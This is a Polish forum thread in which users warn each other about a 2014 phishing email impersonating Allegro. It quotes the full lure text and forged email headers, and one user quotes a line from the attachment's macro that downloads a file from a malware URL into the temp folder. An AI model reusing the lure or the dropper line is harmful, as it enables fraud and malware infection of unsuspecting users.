[aryl]

Nowa metoda #phishing na #allegro

#hackujo

Drogi Uzytkowniku!

Twoje konto allegro zostanie wkrótce zablokowane z powodu umieszczania w opisie Twojej aukcji "tu tytuł mojej aukcji która naprawdę istnieje i jej nr"

tresci niezgodnych z regulaminem Allegro.

Szczególy na temat bledów w aukcji oraz blokady Twojego konta znajdziesz w dokumencie tekstowym Allegro-05-2014-52556.doc

Przeslanym w zalaczniku wiadomosci.

Z Powazaniem Mariusz Lichowicz

Dzial Intendentury i Monitoringu Allegro

[Timidek]

@aryl: a w dokumencie numer konta do dokonania przelewu?

[aryl]

@Timidek: nie wiem nie otwieram tego, jak chcesz to ci mogę przesłać na maila.

[A.....y]

@Timidek: raczej

.doc                                                        .exe

:D

[aryl]

@aryl: i jeszcze pokazuje jako nadawcę [e-mail]

Jak się robi taki lewy mail?

[aryl]

From - Wed Jun 18 02:19:07 2014

X-Account-Key: account17

X-UIDL: 2384115401.2181967104.564699219

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

X-Mozilla-Keys:

Return-Path:

Received: by o2.pl (o2.pl mailsystem) with LMTP;

Tue, 17 Jun 2014 22:42:09 +0200

Received: from aap130.rev.netart.pl [77.55.15.130]

by mx11.o2.pl with ESMTP id YpKjdC;

Tue, 17 Jun 2014 22:42:02 +0200

Received-SPF: none (mx11.o2.pl: domain of [e-mail]

does not designate permitted sender hosts)

Received: from [192.168.31.1] (unknown [91.221.67.183])

by palettenwerk.nazwa.pl (Postfix) with ESMTP id 383F72948CF8

for ;

[aryl]

[e-mail]

Jak myślisz to jakiś trop?

@Al_Bundy:

[A.....y]

@aryl: ta, Iwonie Lalewicz odgadli hasło na serwerze netarta czyli nazwa.pl i używają jego konta do rozsyłania spamu/wirusów :)

[CzystaMaestria]

@aryl: Porażka że można podszyć się pod domenę. Dostałem takiego samego maila, gdyby to był inny mail to bym się nabrał...Tymbardziej że msc temu zablokowali mi konto za zalegannie.

[rabdib]

Również otrzymałem taką wiadomość, raczej nie ja a znajomy który zadzwonił z płaczem że mu konto blokują.

To niestety uśpiło moją czujność, bo plik udało mi się ściągnąć i uruchomić.

Dopiero później sprawdziłem wiadomość i znalazłem tam powyższe podejrzane nagłówki, a po mailu [e-mail] trafiłem tutaj...

Jak się okazało zawierał makra, które na linuxie (a raczej LibreOffice) mam nadzieję, że nie zadziałay.

Podejrzałem kod makr i a tam:

EQXAUI "[http://s1.directxex.com/uploads/apV3Sh3Tpx8OcQZp_dc22oelq7ueBKMQuE9vq096S3E6qyCYqXv9BxbkN75op-2d2ITlxuuL8zxgFaHHc5Ev8XEJI6-kjQLZ1R-n",](http://s1.directxex.com/uploads/apV3Sh3Tpx8OcQZp_dc22oelq7ueBKMQuE9vq096S3E6qyCYqXv9BxbkN75op-2d2ITlxuuL8zxgFaHHc5Ev8XEJI6-kjQLZ1R-n",) Environ("TMP") &

[ola-kosmala-9]

dostaliśmy dziś takiego samego maila !!! Mało na zawał nie padłam. Skopiowałam nr tego "niby" dokumentu ktory nie chciał się otworzyć i tak trafiłam tutaj . Myślałam ze allegro naprawdę chce blokować konto ! Jak oni zdołali coś takiego zrobić ??!!

[piko]

BTW podpisu "intendentury" -> komentarze tu: http://niebezpiecznik.pl/post/pass-facebook-tk/ -- ciekawe czy to ta sama osoba, od miesięcy dla jaj się tak podpisuje pod różnymi atakami, a słowo to zostało wymyślone przez jednego z naszych czytelników :)